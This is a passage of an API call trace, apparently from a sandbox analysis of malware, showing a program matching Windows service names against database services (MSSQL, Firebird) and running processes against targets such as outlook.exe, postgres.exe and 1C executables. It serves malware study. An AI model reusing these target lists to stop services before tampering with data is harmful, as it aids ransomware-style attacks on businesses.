(lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0217.499] lstrlenW (lpString="CryptSvc") returned 8 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0217.499] lstrlenW (lpString="CscService") returned 10 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0217.499] lstrlenW (lpString="DcomLaunch") returned 10 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0217.499] lstrlenW (lpString="Dhcp") returned 4 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0217.499] lstrlenW (lpString="Dnscache") returned 8 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0217.499] lstrlenW (lpString="DPS") returned 3 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0217.500] lstrlenW (lpString="eventlog") returned 8 [0217.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0217.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0217.500] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0217.500] lstrlenW (lpString="EventSystem") returned 11 [0217.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0217.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0217.500] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0217.500] lstrlenW (lpString="FontCache") returned 9 [0217.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0217.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0217.500] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0217.500] lstrlenW (lpString="gpsvc") returned 5 [0217.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0217.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0217.500] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0217.500] lstrlenW (lpString="iphlpsvc") returned 8 [0217.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.500] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0217.500] lstrlenW (lpString="LanmanServer") returned 12 [0217.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0217.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0217.500] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0217.500] lstrlenW (lpString="LanmanWorkstation") returned 17 [0217.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.500] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0217.500] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0217.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0217.500] lstrlenW (lpString="lmhosts") returned 7 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0217.501] lstrlenW (lpString="MMCSS") returned 5 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0217.501] lstrlenW (lpString="MpsSvc") returned 6 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0217.501] lstrlenW (lpString="Netman") returned 6 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0217.501] lstrlenW (lpString="netprofm") returned 8 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0217.501] lstrlenW (lpString="NlaSvc") returned 6 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0217.501] lstrlenW (lpString="nsi") returned 3 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0217.501] lstrlenW (lpString="PcaSvc") returned 6 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0217.501] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0217.501] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0217.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0217.501] lstrlenW (lpString="PlugPlay") returned 8 [0217.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0217.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0217.502] lstrlenW (lpString="Power") returned 5 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0217.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0217.502] lstrlenW (lpString="ProfSvc") returned 7 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0217.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0217.502] lstrlenW (lpString="RpcEptMapper") returned 12 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0217.502] lstrlenW (lpString="RpcSs") returned 5 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0217.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0217.502] lstrlenW (lpString="SamSs") returned 5 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0217.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0217.502] lstrlenW (lpString="Schedule") returned 8 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0217.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0217.502] lstrlenW (lpString="SENS") returned 4 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0217.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0217.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0217.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0217.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0217.502] lstrlenW (lpString="ShellHWDetection") returned 16 [0217.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0217.503] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0217.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0217.503] lstrlenW (lpString="Spooler") returned 7 [0217.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0217.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0217.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0217.503] lstrlenW (lpString="sppsvc") returned 6 [0217.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0217.503] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0217.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0217.503] lstrlenW (lpString="swprv") returned 5 [0217.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0217.503] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0217.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0217.503] lstrlenW (lpString="SysMain") returned 7 [0217.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0217.503] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0217.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0217.503] lstrlenW (lpString="Themes") returned 6 [0217.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0217.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0217.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0217.503] lstrlenW (lpString="TrkWks") returned 6 [0217.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0217.503] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0217.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0217.503] lstrlenW (lpString="UxSms") returned 5 [0217.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0217.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0217.503] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0217.504] lstrlenW (lpString="VSS") returned 3 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0217.504] lstrlenW (lpString="WdiServiceHost") returned 14 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0217.504] lstrlenW (lpString="WdiSystemHost") returned 13 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0217.504] lstrlenW (lpString="WinDefend") returned 9 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0217.504] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0217.504] lstrlenW (lpString="Winmgmt") returned 7 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0217.504] lstrlenW (lpString="wscsvc") returned 6 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0217.504] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0217.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0217.504] lstrlenW (lpString="wuauserv") returned 8 [0217.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0217.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0217.504] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0217.505] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0217.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0217.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0217.506] Process32FirstW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.507] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.508] lstrlenW (lpString="System") returned 6 [0217.508] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0217.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0217.508] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0217.508] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0217.508] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.508] lstrlenW (lpString="smss.exe") returned 8 [0217.508] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.509] lstrlenW (lpString="csrss.exe") returned 9 [0217.509] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.510] lstrlenW (lpString="wininit.exe") returned 11 [0217.510] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.511] lstrlenW (lpString="csrss.exe") returned 9 [0217.511] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.511] lstrlenW (lpString="winlogon.exe") returned 12 [0217.511] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.512] lstrlenW (lpString="services.exe") returned 12 [0217.512] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.513] lstrlenW (lpString="lsass.exe") returned 9 [0217.513] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0217.513] lstrlenW (lpString="lsm.exe") returned 7 [0217.513] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.514] lstrlenW (lpString="svchost.exe") returned 11 [0217.514] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.515] lstrlenW (lpString="svchost.exe") returned 11 [0217.515] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.515] lstrlenW (lpString="svchost.exe") returned 11 [0217.515] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: 